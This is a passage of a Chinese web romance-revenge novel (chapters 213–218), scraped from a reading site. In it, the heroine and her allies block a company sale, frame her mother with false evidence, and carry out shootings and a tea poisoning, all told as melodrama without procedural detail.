陆临走到三楼的时候遇到了司南衍,他站在司南泽的房间门口。本文搜:晋江文学城 免费阅读 司南衍挑了一下眉,语气有些轻佻:“这么自闭,跟她聊什么了?” 陆临不搭理他不太正经的话,他看了眼司南泽紧闭的房间门,对他说:“你最亲爱的四哥莫名其妙被捅了你好像一点儿也不着急,这不太像你的作风。” 按照以前,司南衍可不会去问缘由和真相,早就冲上去找姜梨麻烦了,哪还会在这儿淡定如斯的站着啥也不干? “我四哥不让动的人,我能怎么样?”司南衍的表情有些不自然,但很快就掩饰了过去。他微微偏头,目光变得意味深长了起来:“你也喜欢姜梨。” 他不是疑问句,而是肯定句。 姜梨“死”后,陆临每个月都会去上坟,没点猫腻才怪。 见陆临不说话,司南衍站直了身体,“除了你和江淮之,叶家二少对她也是情根深种,远在港城谢二少也费尽心思想要娶她,就连沈翊那个烂人都喜欢她。” “现在我四哥也是被迷的晕头转向。不过你难道没有发现么?只要是跟姜梨沾边的人,各个都没什么好下场。” “谢鹤扬死了,叶辞植物人,沈翊失踪了。”说着他低低笑了一声,“就连南诗奕和陆璟都跟她有关系。” 陆临整个人一僵,眼睛眯了眯,迸发出危险的光。 司南衍舔了一下唇瓣,“这样的丧门星,还是离远点的好。免得哪一天走着走着,就突然死了。到最后落得一个,英年早逝的下场。” 姜梨刚刚也说过同样的话。 “天黑路滑,雨打风大。”司南衍也不想再多说,撂下一句:“陆四少开车注意安全,慢走不送。” 然后就进了司南泽的房间。 不知道从什么时候开始,司南衍变得有些怪怪的,但也说不上来哪里奇怪。 陆临也没有多留,开车离开了司宅。 ——— 司南泽的效率很快,第二天下午就拿到了韩聿言的dna,是一根吸管,上面有韩聿言的唾液。 他问姜梨需不需要他帮忙送去检验机构,姜梨直接回绝了。 她裹了一件厚的棉袄,坐在客厅的沙发上,直接了当的说:“我怕你为了兄弟和宏图大业,对我的样本做手脚。” 司南泽的表情一阴,“我没有。” 姜梨把薄膜袋交给了夏栎,直接当着司南泽的面,让她立刻送去青森检验。 她缓慢搅拌着面前的五红汤,对刚走出去几步的夏栎说了句:“小心点,别又被跟踪了。” 夏栎没回头,应了声好。 出了别墅,直接坐上了司南泽安排的车,送她到山脚下。 司南泽的脸比姜梨的还要苍白,虚弱得很。 他低垂着眼,没有在意姜梨的阴阳怪气,而是问:“车祸时救下你们的人是谁?” 姜梨喝了口汤,看都没看他:“我凭什么要告诉一个背叛过我的人。” 背叛?司南泽的眸色沉了下来,“我没有背叛你,没有让任何人跟踪你。说起背叛……” “阿愿难道没有背叛过我吗?” 他始终觉得姜梨是在意那个孩子,在意她和江淮之的孩子,所以才会这么激进。 “叮当——”姜梨握着汤勺的手一松,与碗相互碰撞发出一声清脆的声音。 她终于抬起头,给了司南泽第一道视线,“你倒是说说看,我背叛你什么了?” “裴安会死有你的一份功劳,叶辞被你藏在哪我也没有逼问你,我没有想要跟你计较。”司南泽继续说:“我问救下你的人是谁也只是为了登门道谢,给一笔感谢金,没有其他任何意思。” 姜梨听到这些话,怒气蹭蹭往上涨。 裴安会死难道不是因为他要去刺杀叶辞吗?怎么着啊?只许他放火,不许别人防火? “你韩聿泽的身份、你在做什么买卖,我没有透露出去一个字。从我以“樱花”的身份帮你办事到现在,我没有做过任何对不起你的事情。因为你的下属,受重伤流产的人是我,你有什么资格跟我计较?” “不要总是因为别人给我递软刀子,这让我很痛。”司南泽看着她,又看向她的小腹,薄唇轻启:“你要是喜欢孩子,我们可以生。” 声音温情,说出来的话却极致的残忍,也让姜梨反胃想吐。 她猛地把桌面上的东西掀到地上,剩了半碗汤的碗飞出去一段距离,落在地上摔的粉碎。 “谁他妈要跟一个成天疑神疑鬼的神经病生孩子?就算生出来也跟你一样是个有病的!” 姜梨站起来,气的额角和脖颈的青筋暴起,眼睛通红。 “反正咱俩谁也不相信谁,还不如直接分手来的干净!” 吼完这一句,司南泽的眼神都变了,“分手之后就跟别人在一起?” 姜梨没回答,他就默认了。 “那个人最后一定会死的很惨。”他的眼神陡然变得幽寒,目光分外森冷。 姜梨觉得头皮发麻,没什么血色的唇瓣在发抖。她确定,这个男人有病!有大病! “疯子!” 骂完这一句姜梨就跑上了楼。 不过五六分钟,佣人就将地上的满地狼藉收拾了干净。 刚刚姜梨没喝几口,全部都撒了。司南泽叫住一个女佣,让她重新送一份吃的上去。 司南泽点了一根烟,眼底一片晦涩。 —— 新闻发布会当天,楚云光鲜亮丽的亮相。 大批记者蜂拥而至,闪光灯不断闪烁。 今年到场的人很多,除了跟姜氏有合作关系的其他集团,陆家兄弟、司南赫和简清时,还有司南泽这些人都在现场。 其中还有江淮之的身影。 他们所经营的公司都跟姜氏有利益牵扯,还有未到期的合同,当然会被邀请来这场发布会。 躲在暗处的裴诗紧紧盯着那个男人,握着枪的手不断收紧。 裴书跟司南泽提过,把姜梨出车祸的事情散播出去,让外界的人以为车毁人亡。江淮之是知道姜梨逃到他们这里的,想要借此为试探他会不会打探姜梨的消息,会不会来要人,两个人是不是真的反目成仇, 但是司南泽非但没有散出去,反而还压了下来。 对于这个做法,裴诗的怨气是最大的。 裴安的事情,要说跟姜梨一点关系都没有她是一点都不信!先生凭什么还这么相信她?!甚至他们现在在这里也是要帮她打赢这场仗。 他这样痛恨背叛的人,都可以睁一只眼闭一只眼无视她的背叛,还会给她找出完美的证据掩盖过去。 他就这么喜欢她吗? 裴诗咬紧了后槽牙。 关于姜氏要卖出的消息早就已经传的沸沸扬扬,今天记者提出的问题也都非常刁钻。 楚云都处变不惊的一一回答。 今天姜氏的董事会成员也全部到齐,有的喜气洋洋,有的满脸阴沉。 “去年,我失去了我的儿子。今年,我又先后失去了两个女儿,身心都受到了巨大的伤害,我实在是没有办法继续做姜氏的掌舵人。但是姜氏是我死去的儿子一手创立,我也没法眼睁睁的看它一败涂地。” “因此与港城韩氏的韩聿言先生达成共识,将姜氏与韩氏子公司合并。秉承着内部结构不变的原则,交由他全权处理。” “我相信有韩氏、韩总坐镇,姜氏集团会比从前更上一层楼!” 好一个得体的发言,俨然把自己包装成了一个慈母的形象,姜梨的眼睛骤然瞪大,手不断的颤抖,恨不得现在就一枪打穿楚云的脑门。 “二梨。”注意到她情绪逐渐失控,夏栎轻喊了她一声,让她不要轻举妄动。 今天还有大戏要上演。 韩聿言站起身,走到台上,和楚云鞠躬、握手。他西装革履,满脸的意气风发。 姜氏这块肉,终于到了他的手里。 在记者的见证之下,开始进行签字仪式。 韩聿言和楚云都纷纷签完了自己的名字,在即将要盖上公章的时候,一道铿锵有力的声音响了起来。 “等一下!” “我以姜氏最高股份持有者的身份,否决楚总将公司移交到韩氏名下的决策!” 第214章 就是你教唆我犯罪! 所有人的视线纷纷朝着声源处看了过去。搜索: 今晚吃鸡 本文免费阅读 当看清楚来人是谁时,众人都惊的倒吸了一口凉气,世界陷入了短暂的安静。 男人一改往日风流的浪荡样,一身纯黑色的西装衬得他矜贵又优雅。眼睛淡淡的扫过人群,最终停在楚云惊愕的脸上。 他薄唇轻启,一字一顿道:“好久不见。” “沈………沈翊?!” 他失踪了一年,到处都找不到他的踪迹,现在怎么会突然出现在这里?什么最高股份拥有者? 楚云皱眉,“你在胡说八道什么??” 姜梨死后,楚云作为她的母亲,直接跳过法律程序,理所应当的继承了她当初夺走的那百分之十四的股权。 她现在手里有百分之四十的股份,是绝对的主导者,沈翊的话听在她的耳朵里可不就是胡言乱语? “我现在拥有百分之二十六的股权,是占比最高的,我当然拥有一票否决权。只要我不同意将公司卖给韩聿言,你就休想!”沈翊知打开牛皮纸档案袋,拿出一份遗嘱。 “这是姜梨立下的遗嘱,白纸黑字写的清清楚楚,她名下姜氏的百分之二十六的股份都由我这个二哥继承。”沈翊冷笑,“在你身上,我算是见识到了什么才叫做真正的欺负死人不会说话。还好她知道你这个亲妈的尿性,提前立了遗嘱。” 楚云觉得天都塌了,姜梨哪里来的百分之二十六的股份?! 震惊、不解、惊慌。 此刻她的脸好似调色板,青白灰红交错,难看至极。 “沈二少没有参加过会议,我们现在已经签字盖章了,合同从现在开始就生效了。”韩聿言扶了一下镜框,将六神无主的楚云挡到身后,“就算你是最大的股东,现在出来反对也没有用了。” “你们盖的是真的公章的话……”沈翊挑了挑眉,淡定的从档案袋里摸出来一样东西,“那我手里的是什么?” 正是一枚公章。 这下连韩聿言都懵了,立马去检查已经盖好的章。 乍一看长得一样,仔细看下来也能发现端倪。有一个字,少了一笔笔画,是赝品。 没有任何法律效力,这份合同等于白签。 韩聿言的手颤了一下,立刻去看楚云,用眼神询问她是怎么回事。 楚云也不知道是哪个环节出了问题,公章这种重要的东西,一直都是放在保险柜里的,除了她没有人能接触到。 终于,她想到了一个人,她的贴身秘书。 她一直跟在她身边,只有她最有可能调包公司的公章。 楚云看向她,怒目圆睁。还未等她开口,那位秘书就主动走了出来,然后站到了沈翊身后。 “姜氏原来也是樱洲排的上号的公司,自从你霸占它开始,不是这个投标出问题,就是那个项目弄错了,一直都在走下坡路。” “这也就罢了,好歹也是有盈利有分红的。只要姜氏在,我就是总裁秘书。但是一旦姜氏被卖掉,我就什么也不是了。”小秘书抬头看着楚云,一字一句道:“对不起楚总,二少爷给的实在太多了。” 楚云气的全身都在颤抖,画着精致妆容的脸开始扭曲,满是怨恨。 好一个姜梨,一直都在养精蓄锐来给她下套,死了也不消停。她就不能和她爸跟她哥一样,老老实实的死透一点吗? “公司姓姜,不姓沈!最高股份又怎么样?我才是姜氏集团的总裁,我才是姜家人!”楚云说着就要叫来保安,让他们把沈翊给轰出去。 藏在人堆里的便衣保镖挡到了沈翊身前,将他护在了身后,几个保安不敢贸然强硬的抓人。 “在此之前,还是先来解决一下陈年旧事吧!”沈翊拍了拍手。 一个女人推着轮椅走了进来。 记者们扛着摄像机拍个不停,闪光灯不断。 轮椅上坐着的人四肢都缠着厚厚的纱布,连同那张脸,只露出一双死气沉沉的眼睛。 看到楚云,他的眼睛倏尔瞪大,情绪有些激动,连呼吸都变得急促起来。 人堆里,江淮之看到人,眉毛皱了一下。 他认得那个女人,是林遥的亲生母亲。 林母如今五十多岁的年纪已经满头白发,脊背佝偻着,步履蹒跚。那张脸布满了皱纹,满是老态,像是一位七十岁的老人。 面对记者的摄像机,她显得有些局促。一双弯曲变形、龟裂的手轻轻安抚着轮椅上情绪激动的男人。 “我是 之前姜先生——也就是姜祈安资助的学生林遥的亲生母亲!”女人安抚好轮椅上的男人,直接开口:“害死我女儿的凶手不止沈月汐一个,楚云更是罪魁祸首!” “早在十二年前她就主动找上我,她给了我一笔钱,让我想办法跟姜铭生结婚,我当时很缺钱就答应了。谁知道她早就已经教唆过我儿子,让他对姜梨不轨,想要以此毁了姜梨。” “后来我儿子因为强暴姜梨未遂被送去了监狱,姜铭生也跟我离了婚,我就独自离开了江城。楚云还曾经派人追杀过我,如果不是姜祈安,我也早就死在她手里了。” 女人的看楚云的眼神逐渐变得怨毒起来,“是她一直容不下自己的亲生女儿,仗着自己是豪门阔太,就提前将我儿子保了出来,教唆他去找姜梨伺机报复。承诺他只要姜梨死了,就给他一大笔钱。” “但是楚云早就准备好了一切,在沈月汐去纵火之前,厨房的天然气阀门就已经被她打开了!她根本就没想让任何人活着出来!她想让姜梨、林遥和我儿子都死在一起!” “你胡说八道!我从来没有做过这些事情!”楚云打断她,伸出手指着沈翊,一张脸因为怒意涨的通红,“是你!是你想要独吞财产,所以才兜着圈子找出这么几个人演戏来污蔑我!” “来人!给我把这几个人赶出去!” 全部的人都被这个惊天大瓜惊住了,没有一个人听楚云的差遣。 此时坐在轮椅上的男人有了动作。 他抬起僵硬的胳膊,艰难的拆掉了脸上的绷带,只见他大半张脸都是凸起的伤疤,异常吓人。被灼烧过的喉咙发出的声音既沙哑又难听。 “我有证据可以证明你做的一切。” “就是你,教唆我对姜梨实施犯罪行为!” 第215章 你会和你哥哥一样不得好死 终于,在看到那张脸的时候,楚云尖叫了一声,彻底瘫软在了地上。本文搜:看书屋 免费阅读 “爆炸之后,我没有死,只是当了几年的植物人。姜梨把我送进了疗养院吊着命,一直到三天前,我才苏醒过来。” 林宴拿出一支录音笔,当着所有人的面按下了播放键,将楚云所有的恶行都摆在了所有人面前。 “如果你觉得证据还不够,那么我们还有人证和物证。”沈翊说完,大门那边再次走进来一个女人。 陆临看到人,眼皮一跳。 是上次在医院里碰到的那个,跟姜梨认识的姑娘。 夏栎站到沈翊身边,右手攥着一只装在塑料薄膜里的珍珠耳环。 “我曾经是林遥和姜梨的邻居,火灾的那天,我亲眼看到楚云进过她们的住处。并且捡到了你掉在楼道里的东西。”夏栎面色平静,语速很慢,“煤气爆炸蔓延到了我家,我因此也重伤陷入了昏迷,所以没能第一时间上交关键性的证据。” “这上面残留的人体皮屑组织经过化验,已经证实就是楚云本人。” 至此,逼死林遥的真凶也真相大白,就是楚云! 韩聿言绝望的闭了闭眼。 这个蠢妇! 而直到现在,江淮之才终于知道,姜梨为什么会缺钱,以及那笔被她转到境外的钱究竟用在了哪里。 大火可以吞噬一切生命,同样也能掩盖所有的真相。 记者和在场的人都哗然一片,都在震惊,居然真的有母亲不爱自己的孩子,还想方设法的赶尽杀绝。 哪怕是在烂事一堆的豪门大院里,也从来没见过像楚云这样狠心的妈。 而在黑暗的角落里,一头银发的姜梨眯着眼盯着林母冷笑了一下。和楚云一样的货色,七分真三分假的就把自己包装成疼爱女儿的好东西了。 重男轻女、趴在女儿身上吸血的烂货。 在所有人的眼皮子底下,楚云被警察铐上手铐带走了。 “韩先生,你和楚云做了什么交易我不感兴趣,但是现在我是公司的执行人,姜氏我既不卖,也不想跟你谈合作。”沈翊扫了他一眼,一字一句道:“你这次的损失跟公司无关,所有事情你去监狱找楚云谈,让她赔偿你的损失。” 韩聿言的视线看向司南泽。 一开始他以为最差的结果不外乎是姜梨拿回公司,哪里想得到会有沈翊来横插一脚? 姜梨在司南泽身边这么久,他难道会不知道姜梨的底牌吗?他到底想干什么! 司南泽对上他的视线,眉毛微蹙。 他也没想到姜梨的底牌居然会是沈翊,只能用眼神示意韩聿言先到此为止。 两个人的暗流涌动外人并不知晓,所有人的目光都在韩聿言身上。 就在这时,一直藏在暗处观察的裴诗将枪口对准了江淮之的方向。 就是现在! 然而她还没有将子弹打出去,另一道枪声就先响了起来,“砰”的一声,打碎了一扇窗户。 “怎么会有枪声!” 人群开始骚乱、逃窜,大门却已经被人上了锁,没办法出去。 “怎么回事!” 裴诗面色一僵,顺着声源处看了过去。 “哗啦啦!”丝绒的黑色窗帘被人大力扯坏,窗外的阳光洒进了发布会现场。 一头银发的姜梨还保持着拿枪的姿势蹲在窗边,精准的锁定江淮之的身影,毫不犹豫的朝他开了一枪。 “江淮之!” 他的位置是在第一排,身边坐着的陆七反应很快,扑开他才堪堪躲过了这一枪。 这一幕吓得周围人尖叫连连。 江淮之看着站在窗口上一头银发戴着狐狸面具的人,一眼就认出来她是姜梨。 她似乎并没有受伤。 姜梨没有继续补枪,因为她已经听到了一群警察赶来的脚步声。把枪收了起来,将手里洗出来的照片和a4纸全部撒了出去。 “观赏愉快~”撂下这句话,她直接从窗口跳了下去,逃跑。 楚云入狱,她虽然没有韩聿言犯罪的实证,但是这些照片和dna检测书也够他鸡飞狗跳了。 主打的就是一个:谁都别想好过。 ——— 楚云和韩聿言的奸情曝光,沈月汐的真实身份也摆在了明面上,港城韩家沦陷在舆论风暴之中,已经公开表明将韩聿言逐出家族,以正家风。 发布会结束之后,韩聿言就再也没有公开露过面,谁也不知道他的行踪。 而“樱花”成功逃脱,但是大街小巷都贴满了她的通缉令,姜梨对这于这个不甚在意,反正没有露脸,想抓她简直就是大海捞针、痴人说梦。 楚云因故意杀人以及教唆杀人罪,被判处死刑。 听说她进去之后一直都在喊冤,但是沈翊提交的所有证据经过警方查证,都是板上钉钉的事实,她没法抵赖。 沈翊打点好了所有,和姜梨一起去看了她。 看到姜梨的那一瞬间,楚云好似被雷劈了一般,盯着她的目光凝滞,瞳孔微微颤动。 姜梨对着她笑一下,喊她:“楚夫人。” 这章没有结束,请点击下一页继续阅读!“好久不见。” 她的声音穿透楚云的耳膜,大脑里绷着的那根弦“啪”的一声就断了。 “姜梨!你没死!你没死?!”她双手握住栏杆,宛如一个疯子,“你怎么会没死!!” 姜梨眼神淡漠,像在看一个跳梁小丑,“你都没有死,我为什么要死?” 楚云看着他们,恨的后槽牙都要咬碎了,“你们两个一直都是在做戏,背地里早就混到一起了!姜梨!你跟你那个爸一样狡诈!” 沈翊环顾了一下四周,轻笑,“怎么样?我们送给你的这份大礼,喜欢吗?” “你们最好让我现在就死在监狱里,否则等我出去,我一定会让你们两个下地狱!” 姜梨听到这句话,扬了扬眉毛,“我已经曝光了沈月汐和韩聿言的关系,他现在自身都难保,怎么保得住你?” 楚云愣了半分钟,隔着栏杆张牙舞爪的想要去挠姜梨,“你这个野种!我当初就应该直接掐死你!” 安静的探视室都是楚云刺耳的尖叫声和辱骂声,一边的辅警厉声呵斥:“31号,安静!” 听到这个称呼,沈翊勾了勾唇。 三十一号,也就是“烂人”的意思,还挺贴合的。 “你撬墙角,当了沈君临的小三,活生生气死了沈翊的妈妈。你一直包庇沈月汐对我的一切恶行,在她害死林遥的时候还帮她清理证据和犯罪现场的痕迹。” “你一直都在钻法律的空子,逃避责任。”姜梨懒得再听她乱叫,意味深长的对她说:“这一次,也该让你尝尝被铁一样的假证锤死。这都是你应得的报应!” 厨房的天然气是林遥自己开的,楚云没有碰任何东西。那副耳环也不是留在现场的耳环,而是夏栎之前潜伏在沈家的时候随手拿走的。 楚云又怎么会不知道这些轨迹?但是有林宴和林母这两个人证,又有夏栎的证词,她一百张嘴都解释不清楚。 她气的胸口起伏,盯着沈翊和姜梨的背影,骂声不断:“贱人!贱人!!” “姜梨!你以为让我进监狱就完了吗?我告诉你!你一定会和你哥哥一样,落得一个不得好死的下场!” “我做鬼都不会放过你!” 第216章 茶里有违禁品 沈翊上任的第一件事就是取消了跟司氏总公司以及子公司的所有合作。本文搜:看书屋 免费阅读 公司的董事不同意,沈翊一句:“违约金我自己掏家底赔,不会动公司一分钱。” 给堵了回去。 公司的人也都被他清理了一番,那些被韩聿言收买过的,全部都踢了出去。 现在的姜氏虽然已经跌到谷底,但是内部干净的像一张白纸。 沈翊绝对不会让姜氏和其他企业一样,沦为犯罪的工具。 但因为这个得罪了不少人,不少人都在打压姜氏。包括司南泽,都在背后给沈翊穿小鞋。好在沈翊之前有一些人脉,他的商业头脑也好,虽然日子艰难,但也不至于寸步难行。 凌晨,司南泽去了半醒。 夏沉舟和躲藏了几天的韩聿言已经在里面等他了。 “计划全部都被打乱了!”韩聿言的不满此时达到了顶峰,“阿泽,当时是你说就算公司落到姜梨手里我们也是有实权,所以我才骗楚云她已经死了,才放过了她。但是现在突然半路杀出个沈翊,还曝光了我和楚云的关系,害我现在连韩家这棵树都丢掉了!她就在你身边,到处密谋、收集证据你敢说你不知情吗?” “我看你是被姜梨灌了迷魂药了!” 裴书和裴诗站在司南泽身后,听到韩聿言责问的话,纷纷不满的睨了他一眼,裴诗冷声:“韩总以为你现在是在跟谁说话?” 他以为他能跟司南泽平起平坐吗? “?”夏沉舟像听见了什么不得了的事情,他眯了眯眼睛,“姜梨没有死?还是樱花?” “我确实不知道沈翊会杀出来,也不知道她调查你,我只知道她想要拿回公司,我也没有出手帮过她。”司南泽瞥了韩聿言一眼,“我一早就提醒过你,是你自己太轻敌,不知道留二手。” “你和楚云加在一起百岁的人连个刚毕业的大学生都玩不过,现在还有脸赖到我身上。难不成还要我像个爹一样一直追在你后面喂饭吗?” 韩聿言想反驳,司南泽的腿踢了一下桌腿,桌子移动了一下,和地面摩擦发出刺耳“呲啦”声。 “我只说别用下作的手段对付她,譬如楚云那样的做法。”司南泽身体微微前倾,压迫感很足,眼神里闪过一道光,“除了姜梨,她身边的那些亲信,都随你们怎么处理。” 夏沉舟来了兴趣,“和她一起跟在你身边的那个女人也可以?” “只要你有那个本事。”司南泽点了一根烟。 裴诗低着头,身体一僵,而后眼睛里闪过一丝杀气。 ——— 司南赫和简清时夺回来的樱洲分公司已经彻底脱离了司氏,改名为凌云集团。 江淮之推开总裁办的门,只有司南赫一个人在,他已经泡好了一壶茶,茶香四溢。 “找我什么事?”一边说,一边坐到沙发上。 记者发布会上的事情已经传的满天飞,司南赫没有去都知道那些腥风血雨。 他将倒好的茶递给江淮之,“那个在发布会上对你开枪的杀手是姜梨吧?她没死。” 江淮之:“她不是姜梨,是姜时愿。” 怕他理解不透,他解释了一句:“她才是真的时愿,之前那个是假的。” 南诗奕口口声声说要保护的阿愿,一直都是姜梨。这样的话就解释得通了。 之前那个时愿司南赫也觉得怪怪的,在南诗奕的事情上她表现的实在太冷漠了。 “她杀你是演戏的吧?”司南赫眉心蹙了起来,胸口憋了一口气,“你们夫妻两个不是警察,好好的在港城过日子不好吗?干嘛非要去趟浑水?” 江淮之看着他:“她这已经不是第一次对我开枪了,你觉得像演的么?” 司南赫瞳孔一缩,“那就是来真的?因为什么?” “她说我杀了姜祈安。”说到这个,江淮之有点烦躁了,眉宇间都是郁气,“还有铁一般的证据,我解释不清楚。” 姜梨先是推翻了楚家,然后又翻了林遥的案子,把楚云送进了监狱。经过这两件事,司南赫现在也在怀疑是江淮之是真的杀了姜祈安。 感觉到他的视线,江淮之脸黑了下来,“我不是畜生。” 意思就是他干不出这种缺德事。 司南赫轻轻“嗯”了一声,也不知道信没信,对他说:“尝一尝,你最爱喝的龙井。” 江淮之看了眼茶杯,没有动,“你特意让我过来就为了说这些,然后顺道品茶?” 这些事在电话里就能说清楚。 司南赫点头。 “你确定没有别的事要说了?”江淮之声音很淡,直直的看着他。 司南赫被他的眼神看的心里一紧,手指微微僵了一下,然后理所应当的“昂~”了一声。 江淮之没再多问他,端起茶杯抿了一口。 茶汤黄绿明亮,味道甘醇不苦涩,“好茶,水准很高。” 茶叶好,司南赫的茶艺也很精湛。 他是在夸他。 司南赫笑了笑:“阿南和菱姨都教过。” “菱姨回了榆北,她还好吗?”江淮之顺着他的话 问了一句。 “挺好。” 走的时候江淮之突然对司南赫说:“我恨司承德,恨韩伊,甚至恨韩家,可从头到尾我都没恨过你这个弟弟。” “我不懂亲情冷暖。有人跟我说,感情只有爱和恨。既然我对你没恨,那我想我是爱的。” “就算是天塌下来,我们也是有血缘关系的亲兄弟。” 司南赫的心口狠狠一震,端着茶杯的手紧了紧,抬头呆呆的看着他。 一直到江淮之关上门离开,他都一直保持着这个姿势,久久不能回神。 江淮之并没有马上离开,坐在车里一言不发,像是在等人。 他不说话,谢铭也不敢多问。 抬起手腕看了一眼时间,开始在心里倒计时。 心里的秒表数到零,他的手机也响了起来。 看了一眼,正是司南赫打过来的。江淮之勾了勾唇,划了接听。 司南赫:“哥,你现在快点去医院。” 他停顿了一下,声音颤抖:“刚刚的茶水里我放了违禁品。” 第217章 你不会背叛我对吗 江淮之沉默片刻,淡淡道:“那你怎么交差,菱姨你不救了?” 司南赫:“你早就知道了。本文搜:微趣小说 免费阅读” “本来是不知道菱姨出事的,只知道你要给我下毒。” 但是刚刚他突然就提到了苏菱和南诗奕,江淮之才猜到司南赫是被司南泽抓到了把柄。 江淮之也在给机会让他主动坦白,如果司南赫没有打这个电话,江淮之现在已经让警察来抓人了。 “我不方便下去,怕有人跟踪我。”司南赫吸了一口气,“菱姨的事你先别管了,现在赶紧去医院做紧急处理。” 他是有多大的心眼啊?知道自己被下毒了还有这闲工夫跟他复盘。 江淮之:“去医院多浪费啊。姜梨不愿意跟我演戏,不如你来和我演一场?” 司南赫:“………?” ——— 自发布会之后,林宴和林母就跟人间蒸发了一样,消失的无影无踪。 有人说是躲起来了,也有人说是被躲起来的韩聿言给弄死了,反正网上对他们都是骂声一片,就没有夸的。 当代网友可不是那么好糊弄的,一眼看穿林母的本质,不是一个好妈,更不是什么好人。 众多评论里,有一条是:我觉得他们是被那个叫樱花的杀手给干掉了,应该是姜梨死之前托给她的任务。林宴和他妈根本不可能活。 姜梨正要点这条评论下面的回复,下一秒就凭空消失了。然后微信弹出消息框,是沈翊发来的信息。 “解决了。” 那条评论是他删掉的。 包括网上所有关于“樱花”和林宴母子的视频和话题都被删的干干净净,一点痕迹都不留。 不愧是顶级黑客。 姜梨勾了勾唇,手敲着键盘,甩过去一句:恭喜,大仇得报。 林宴母子是沈翊和夏栎去处理掉的。 林宴虽然醒了,但是他伤的太重,感染又多,只要给他停几种药品,吊着的一口气就没了。 而林母,死于贪心和话多,冠冕堂皇勒索夏栎给她一笔钱,把她送出国,否则就把做假证的事情说出去。 沈翊和夏栎就直接把这个死老太婆给扔进了江里。 “你那边打算怎么办?”沈翊回她。 林遥的仇算是报完了,但是姜梨要做的事还没完。 姜梨抿了抿嘴,“还没有突破口。” “实在不行就赶紧撤,你又不是缉毒警。司南泽的骨子里就是个变态,你待得时间越久就越是危险。” “知道了。” 司南泽这几个月都没有什么大动作,而夏氏那边也很小心,暂时还没有抓到什么把柄。 他们还没有完全信任她,在星爵她虽然在秘书部,但是那些机密文件司南泽没有让她经手,都是裴诗和裴书处理。 他们做的违法勾当,肯定是公司最高机密。 进不了内网就接触不到机密文件,那就找不到证据。很棘手、很难办。 “我这边一时半会儿还脱不了身。”姜梨想想又跟他说:“他们觊觎姜氏那么久,突然黄了肯定对你怀恨在心。虽然有纪繁星,但是保险起见,我让夏栎也跟着你。” 沈翊自然是不同意。 姜梨说出了自己的想法:“主要是夏栎跟着我不太安全,第一次见的时候,夏沉舟看她的眼神不对劲,总觉得他会对夏栎不轨,还是跟着你安全点。我没关系,司南泽不会对我怎么样。” “你旁敲侧击问问夏栎,她和夏家是不是有仇。” 这句话刚发出去,姜梨就听到了外面的脚步声。她熟练的清掉了聊天记录,然后切号。 进来的人是司南泽。 姜梨此时是站在阳台上,没有穿外套。 司南泽从床上捞起她的羽绒服,走过去披到她身上,“穿好。” “我不冷。”姜梨捏着手机,没动。 她还在生气,语气很冷淡。 司南泽也不恼,捏住她的手腕往衣袖里塞。表情和煦温和,动作也温柔,但就是能感受到一种不容忤逆的强势。 拉链一直拉到顶端,司南泽牵起她冰凉的手,亲了亲她的手背,“真乖。” 这时,凛冽的寒风吹过,姜梨的指尖颤了颤。 她盯着他,突然觉得司南泽跟江淮之长得确实有那么一丢丢像。 于是她问:“你毁过容吗?” 司南泽捏着她的手指的手一顿,看着她的眼睛,没有否认:“怎么突然问这个?” 姜梨扬起来一抹明媚的笑:“我不喜欢有秘密的男人,会有一种被欺骗的感觉。” 她漂亮的桃花眼微弯,眼神坦然又直白。 “缉毒警的身份是不会被曝出来的,但是现在我父亲是缉毒警的事情却人人都知道。”司南泽的眼里的笑意逐渐凝固、变冷,“第一次被绑架,我父亲选择了我的同学,导致我被毒贩弄瞎了眼。” “后来他们为了活命,毫不犹豫的把我父亲的身份捅了出去。韩家因此遭到了毒贩的报复,我也遭遇了二次绑架,我的妈妈为了救我,惨死在了毒窝。我父亲赶来的时候,他选了同为普通 人的司南泽,再一次放弃了我。” “毒贩本来就是冲着他来的,他想要救群众,所以听了老大的话,只身一人冲了进来,最后惨死。” 姜梨微微愣了一下,没想到还有这么一回事。 “我和司南泽都没能逃出去,被毒老大收养了。他收养了很多孩子,然后让我们像斗兽场里的动物那样厮杀,我和司南泽活到了最后,是他最得力的继子。” “我和司南泽执行了很多任务,没有败绩。但是后来,他背叛了我,将交易的地点透露给了警方。在那一场爆炸里,死了二十几个人。一半是我们的人,一半是那些缉毒警,只有我一个人命硬逃了出来。” 姜梨试探性地问:“那你为什么不回韩家?反而要顶替司南泽来樱洲?回家不好吗?” “我是缉毒警的儿子,韩家也不止他一个缉毒警察,他们不会放过我的。我恨我父亲,我恨缉毒警,我恨韩家。” “至于为什么选择司家………”韩聿泽摸了摸她的脸颊,目光又柔和了下来,“因为那个时候的司家是在北城,我知道你是北城人。” “在此之前,我还去江城看过你,那个时候你还记得我,喊我六叔。” 失去母亲,带着满身恨意走上了一条不归路,痛苦又寂寞。 她是他心里唯一的慰藉。 但是后来因为姜祈安,连这点慰藉都没有了。她不再记得他,也不会喜欢他。 满心满眼都是别的男人。 姜梨听完韩聿泽的话,好半天都没有反应过来,愣楞的看着他。 眼里是震惊、是不解、是迷茫。 韩聿言突然笑了。他的声音清润,像夏夜里的微风,又像凛冬的寒风。 温柔缱绻,又孤独寂寥。 “阿愿,你不会背叛我对吗?” 第218章 我要做最尊贵的女人 韩聿泽静静地看着她,眼神里的隐忍和深情交织在一起,复杂沉重。免费看书搜索: 新天禧小说 脆弱的一碰就会碎掉。 父亲牺牲他救下的人民,却成了害死他们一家人的导火索,何其荒谬。 姜梨的心口被他这个眼神看的一紧,她强逼着自己跟他对视,双唇轻启:“当然不会。” 好乖。韩聿泽的拇指蹭着她的脸颊,眸色越来越深,像翻滚的海。 视线下移,看着她略显苍白的唇瓣,喉结上下滑动,喉咙发干。微微俯身,想去亲她。 姜梨瞳孔缩了缩,下意识扭头躲开。 韩聿泽的动作一顿,嘴角微微下垂,眼神寂落。 他放弃吻她的想法,顺势抱住她,下巴靠在她的肩头,声音带着鼻音,祈求般呢喃:“阿愿,疼疼我。” 他抱的太紧,姜梨有些喘不上气。抬起手,抱住了他的腰,闷闷的“嗯”了一声。 这个拥抱没有持续太久,姜梨听到了车子的引擎声,有人来了。 韩聿泽松开她,对她说:“今天31号了,一会带你出门,跨个年。” 他不说姜梨都忘记跨年这回事了。 点了点头,应了声好。 姜梨扭头往楼下看了一眼,来的人是司南赫。他仰头,和她对视。 姜梨的目光清冷又凌厉,明明还是那张脸,却总让人觉得不同了。 冷漠,又肃杀。 司南赫抿了抿嘴角,收回视线进了别墅。 二楼书房。 司南赫咬紧后槽牙,冷冷的看着坐在椅子上的韩聿泽,“毒我已经下了,什么时候放人?” 所以,他选了苏菱。 